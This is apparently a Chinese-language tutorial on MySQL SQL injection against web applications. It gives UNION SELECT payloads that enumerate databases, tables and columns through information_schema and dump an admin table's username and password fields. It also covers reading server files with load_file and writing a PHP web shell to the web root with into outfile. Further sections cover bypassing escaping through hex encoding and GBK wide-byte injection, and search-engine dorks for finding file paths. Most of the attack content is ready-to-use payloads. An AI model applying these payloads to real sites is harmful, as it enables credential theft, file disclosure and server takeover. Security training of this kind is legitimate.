1. 程式人生 > 其它 >WEB漏洞-SQL注入之MYSQL注入

WEB漏洞-SQL注入之MYSQL注入

判斷注入位置

以下可能都存在注入

xxx.xxx.xxx/index.php?id=8
xxx.xxx.xxx/?id=10
xxx.xxx.xxx/?id=10&x=1
xxx.xxxx.xxx/index.php  post注入,可能注入的位置在正文

引數x有注入,以下哪個注入測試正確 2、3正確

xxx.xxx.xxx/news.php?y=1 and 1=1&x=2  這個是判斷了y,沒判斷了x
xxx.xxx.xxx/news.php?y=1&x=2 and 1=1
xxx.xxx.xxx/news.php?y=l and 1=1&x=2 and 1=1
xxx.xxx.xxx/news.php?xx=1 and 1=1&xxx=2 and 1=1
引數名不對

注入過程

判斷是否有注入

隨便輸入,如果有404,500,302等,說明有過濾,那麼注入的可能性就小

判斷列數

order by

判斷回顯位置

id=-1 union select 1,2,,,,

資訊收集

  • 資料庫版本 version()

  • 資料庫名字 database()

  • 資料庫使用者 user()

  • 作業系統 @@version_compile_os

ps:在mysql5.0以上版本中,mysql存在一個自導資料庫名為information_schema,他是一個儲存記錄所有資料庫名,表名,列名的資料庫

資料庫中符號.表示下一級的意思,mysql.table表示mysql資料庫下的table表

  • information_schema.schema
  • information_schema.tables
  • information_schema.columns
  • table_name
  • column_name
  • group_concat 將一行的內容都用逗號連線起來

跨庫查詢

information_schema 表特性,記錄庫名,表名,列名對應表

獲取所有資料庫名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 

查表,找與網站對應的資料庫名,若沒有,則挨個查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw'

跨庫查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw'

查結果。。。
?id=-1 union select 1,u,p from qqyw.admin
  • select * from mysql.user檢視使用者的許可權,跨庫需要高許可權使用者

檔案讀寫操作

  
路徑獲取常見方法:
報錯顯示   (phpinfo.php)   ,遺留檔案      ,漏洞報錯,平臺配置檔案

常見讀取檔案列表:(需得知網站絕對路徑)
union select 1,load_file('D:\\phpmyadmin\\dudu.txt'),3 

常見寫入檔案問題:魔術引號開關
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'

讀取檔案函式

  • load_file():讀取檔案函式
  • 百度搜索load_file讀取敏感資訊
    • 系統敏感檔案、配置檔案
    • 日誌
    • 第三方軟體賬號密碼
    • 第三方軟體配置檔案
  • into outfile或者into dumpfile:匯出函式,會新建檔案

想要進行檔案讀寫操作,還有一個關鍵點,就是獲得檔案路徑

獲得檔案路徑

  • 報錯顯示

intext:warning inurl:php

inurl:phpinfo.php

  • 遺留檔案
  • 漏洞報錯
  • 平臺配置檔案
  • 爆破

知道檔案路徑後,union select 1,load_file('D:\phpmyadmin\dudu.txt'),3

常見寫入檔案問題:魔術引號開關,需要是Off才能注入成功

  • magic_quotes_gpc=Off以及程式碼中沒有使用addslashes()函式;如果開關時開的時候,輸入資料中包含單引號,雙引號,\,和NULL等字元,都會被加上反斜線,即轉義,防止sql注入產生,

  • union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'

1.給檔案讀寫許可權 

2.my.ini新增secure_file_priv =

3.雙斜槓防止轉義

4.--+或者%23註釋limit

如果開啟魔術引號開啟,繞過方法

  • 編碼(十六進位制編碼)
  • 位元組繞過
寬位元組注入是由於不同編碼中中英文所佔字元的不同所導致,這種注入方式一般出現在 PHP+MySQL,且通常是由於MySQL資料庫使用了 GBK 編碼,此時它會將兩個字元認為是一個漢字。(注:其中前一個字元的 ascii 碼要大於128,才到漢字的範圍),反斜槓的 URL 編碼為 %5c ,而 %df%5c 又會被認為是漢字 "運",當輸入 %df' 時,像 addslashes() 函式就會轉義單引號 %df\' 即 %df%5c' ,最後經過 GBK 編碼之後就為 運' ,這樣單引號就逃逸出來了。

低版本注入配合讀取或者暴力

5.0版本以下,跑字典。。
字典或讀取